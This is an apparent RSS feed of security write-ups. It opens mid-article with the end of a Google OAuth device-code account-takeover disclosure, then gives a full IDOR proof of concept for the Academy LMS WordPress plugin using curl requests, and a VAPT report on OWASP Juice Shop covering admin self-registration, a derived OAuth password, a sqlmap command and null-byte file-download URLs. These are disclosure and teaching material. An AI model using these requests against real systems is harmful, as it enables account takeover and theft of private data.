token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VAPT Report Example]]></title>
<description><![CDATA[This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.Setup OWASP Juice Shop Locally Using DockerInstall DockerRun:docker pull bkimmini...]]></description>
<link>https://tsecurity.de/de/3675301/hacking/vapt-report-example/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675301/hacking/vapt-report-example/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.</p><h3>Setup OWASP Juice Shop Locally Using Docker</h3><h3>Install Docker</h3><p>Run:</p><pre>docker pull bkimminich/juice-shop<br>docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop</pre><p>Browse to:<br> <a href="http://localhost:3000/">http://localhost:3000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*mwz1GNdYbcw3HOLUQX1vGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*089pKG_zM-T4UOMGPzYjRw.png"></figure><h3>1. Privilege Escalation via User Registration API</h3><h3>Summary (with CWE)</h3><p>The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.</p><h3>CWE ID</h3><ul><li>CWE-269 — Improper Privilege Management</li><li>CWE-285 — Improper Authorization</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><h3>Metrics:</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: High</li></ul><p><strong>CVSS Base Score:</strong> 9.8 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.</p><p>This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.</p><h3>Steps to Reproduce</h3><ol><li>Send a POST request to: http://localhost:3000/api/Users</li><li>Edit request body and add role parameter: { "role": "admin" }</li><li>Submit the request using Burp Suite.</li><li>The server responds with a successful user creation message.</li><li>Log in using the created credentials.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEWUogo4-1Uor4o5aDkSyQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tam4-35GCakrERj7NHew5g.png"></figure><h3>Suggested Remediation</h3><ul><li>Enforce server-side role control</li><li>Default role assignment</li><li>Allow admin role assignment only through authenticated admin workflows</li><li>Validate permissions on every sensitive endpoint</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP Top 10 — Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269: Improper Privilege Management</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285: Improper Authorization</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>2. OAuth Account Takeover</h3><h3>Summary (with CWE)</h3><p>OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.</p><p>This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.</p><h3>CWE ID</h3><ul><li>CWE-522 — Insufficiently Protected Credentials</li><li>CWE-287 — Improper Authentication</li><li>CWE-284 — Improper Access Control</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.</p><p>The OAuth workflow internally calls:</p><ul><li>userService.save() (user creation)</li><li>userService.login() (standard login)</li></ul><p>Both functions set the user password using the following logic:</p><pre>password = btoa(n.email.split("").reverse().join(""))</pre><h3>Password Generation Logic</h3><ul><li>The email address is reversed.</li><li>The reversed string is Base64-encoded.</li><li>The result is used as the account password.</li></ul><h3>Steps to Reproduce:</h3><h4>Identify OAuth Password Logic</h4><ul><li>Open main.js</li><li>Search for oauthLogin</li><li>Locate: password: btoa(n.email.split("").reverse().join(""))</li></ul><h4>Derive Victim Password</h4><p>Email: bjoern@gmail.com<br> Reversed: moc.liamg@nreojb<br> Base64 encoded password:</p><pre>bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*vCdCuyVKLSiLH_hhpgCIGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICsFhQCtxrXuosRiVJRgOQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Never generate passwords client-side</li><li>Separate OAuth and password authentication</li><li>Use strong, random credentials</li><li>Do not expose authentication logic</li><li>Perform security design reviews</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/">OWASP Top 10 — Broken Authentication</a></li><li><a href="https://cwe.mitre.org/data/definitions/522.html">CWE-522 — Insufficiently Protected Credentials</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc8252">OAuth 2.0 Security Best Practices (RFC 8252)</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>3. SQL Injection in Product Search Endpoint</h3><h3>Summary (with CWE)</h3><p>An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.</p><p>This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.</p><h3>CWE ID</h3><p>CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</p><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>The /rest/products/search API endpoint accepts user input via the <strong>q</strong> parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.</p><p>An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as <strong>sqlmap</strong> can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.</p><p>This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.</p><h3>Exploit Using sqlmap</h3><pre>sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oE0CHEd8TUToNy1MGhy4qg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9UhO9JS5Hl3YCBxryIDuA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6jvJUSScWD63XiOpBgzuQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTjbupN8n126CTwsYotbYQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFsmogCi-BSuofuUDJ45vg.png"></figure><p>Got User credentials :)</p><h3>Suggested Remediation</h3><ul><li>Sanitize and validate all user-supplied inputs</li><li>Implement parameterized queries</li><li>Deploy a Web Application Firewall (WAF)</li><li>Enable logging &amp; monitoring</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89 — SQL Injection</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Documentation</a></li><li>CVSS v3.1 Specification: <a href="https://www.first.org/cvss/v3.1/">https://www.first.org/cvss/v3.1/</a></li></ol><h3>4. Arbitrary File Download via Poison Null Byte Injection</h3><h3>Summary (with CWE)</h3><p>The application is vulnerable to <strong>Poison Null Byte Injection</strong>, allowing an attacker to bypass file extension validation and download <strong>sensitive backup files</strong> stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.</p><h3>CWE ID</h3><ul><li>CWE-158 — Improper Neutralization of Null Byte</li><li>CWE-22 — Improper Limitation of Pathname to Restricted Directory</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</p><p><strong>CVSS Base Score:</strong> 7.5 (High)</p><h3>Description</h3><p>OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a <strong>Poison Null Byte (%00) injection</strong> combined with <strong>double URL encoding</strong>.</p><p>The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.</p><p>This results in <strong>unauthorized access to sensitive backup files</strong>, potentially exposing configuration details, credentials, or business data.</p><h3>Steps to Reproduce:</h3><h4><strong>Access a Developer’s Forgotten Backup File:</strong></h4><ol><li>Navigate to the FTP directory: <a href="http://localhost:3000/ftp">http://localhost:3000/ftp</a></li><li>Attempt direct access (fails due to extension restriction): <a href="http://localhost:3000/ftp/package.json.bak">http://localhost:3000/ftp/package.json.bak</a></li><li>Try Poison Null Byte injection (fails initially): <a href="http://localhost:3000/ftp/package.json.bak%00.md">http://localhost:3000/ftp/package.json.bak%00.md</a></li><li>URL-encode the % character as well: <a href="http://localhost:3000/ftp/package.json.bak%2500.md">http://localhost:3000/ftp/package.json.bak%2500.md</a></li></ol><p>The server successfully returns the <strong>restricted backup file</strong>, completing the exploit.</p><h4><strong>Access a Salesman’s Forgotten Backup File</strong>:</h4><ol><li>Use the same Poison Null Byte technique: <a href="http://localhost:3000/ftp/coupons_2013.md.bak%2500.md">http://localhost:3000/ftp/coupons_2013.md.bak%2500.md</a></li><li>The backup file downloads successfully, revealing sensitive business data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvtP_eSL1Sza2N8_1_1Yag.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxtA320Y7ic8X98oKXa02A.png"></figure><p>Backup file downloads successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwQ-UUtHidNkJxdbtjDSgw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-mITIIF8p-SjS0LxXk8ViQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Reject null bytes explicitly</li><li>Decode input before validation</li><li>Use allow-listed file access</li><li>Disable public access to backups</li><li>Use secure file APIs</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Foundation — OWASP Juice Shop</a></li><li><a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158: Improper Neutralization of Null Byte</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Testing Guide — File Handling Vulnerabilities</a></li><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger — File Path Traversal &amp; Null Byte Attacks</a></li></ol><h3>Thanks For Reading :)</h3><p><strong>Happy Hacking ;)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=f8440a9735c1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vapt-report-example-f8440a9735c1">VAPT Report Example</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe — Linux Agency | Complete Write-Up & Walkthrough]]></title>
<description><![CDATA[“Agent 47, your mission begins. 30 targets stand between you and the root.”Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzads📋 Room OverviewPlatform TryHackMe Room Name Linux Agency Link https://tryhackme.com/room/linuxagency Difficulty Medium Category Linux...]]></description>
<link>https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:38 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
